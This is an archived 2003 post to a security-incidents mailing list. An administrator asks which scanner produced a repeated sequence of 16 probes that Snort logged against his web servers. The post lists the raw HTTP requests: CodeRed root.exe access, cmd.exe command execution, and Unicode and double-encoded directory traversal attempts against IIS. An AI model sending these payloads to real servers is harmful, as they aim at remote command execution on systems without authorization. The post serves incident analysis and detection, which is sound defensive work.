Security Incidents mailing list archives
Same sequence...
From: "Dejan Markovic" <dejanmarkovic () hotmail com>
Date: Mon, 1 Dec 2003 15:01:45 -0500
Hi Guys, Sent this one to the wrong group the first time, thanks J, so here goes. Does anyone know which tool is being used for this scan. Snort has been logging the same sequence of scans from various IPs to all Web servers on my network, regardless that some are IIS and the others Apache. The data is included below. ==================================================================== (1) WEB-IIS CodeRed v2 root.exe access GET /scripts/root.exe?/c+dir HTTP/1.0 (2) WEB-IIS CodeRed v2 root.exe access GET /MSADC/root.exe?/c+dir HTTP/1.0 (3) WEB-IIS cmd.exe access GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0 (4) WEB-IIS cmd.exe access GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0 (5) WEB-IIS unicode directory traversal attempt GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0 (6) WEB-FRONTPAGE /_vti_bin/ access GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0 (7) WEB-IIS _mem_bin access GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0 (8) WEB-IIS unicode directory traversal attempt GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy stem32/cmd.exe?/c+dir HTTP/1.0 (9) WEB-IIS unicode directory traversal attempt GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0 (10) WEB-IIS cmd.exe access GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0 (11) WEB-IIS unicode directory traversal attempt GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0 (12) WEB-IIS unicode directory traversal attempt GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0 (13) WEB-IIS cmd.exe access GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0 (14) WEB-IIS cmd.exe access GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0 (15) WEB-IIS cmd.exe access GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0 (16) WEB-IIS cmd.exe access GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0 ==================================================================== The whole scan takes from 2 seconds to under a minute in some cases, but there is always 16 requests in the same order. Sorry if this has already been on the list and thanks. Regards, Dan --------------------------------------------------------------------------- ----------------------------------------------------------------------------
Current thread:
- Same sequence... Dejan Markovic (Dec 01)
- Re: Same sequence... James C. Slora Jr. (Dec 02)
- <Possible follow-ups>
- RE: Same sequence... Henderson, Dennis K. (Dec 02)
- Re: Same sequence... Dejan Markovic (Dec 02)
- Re: Same sequence... Resolved Dejan Markovic (Dec 02)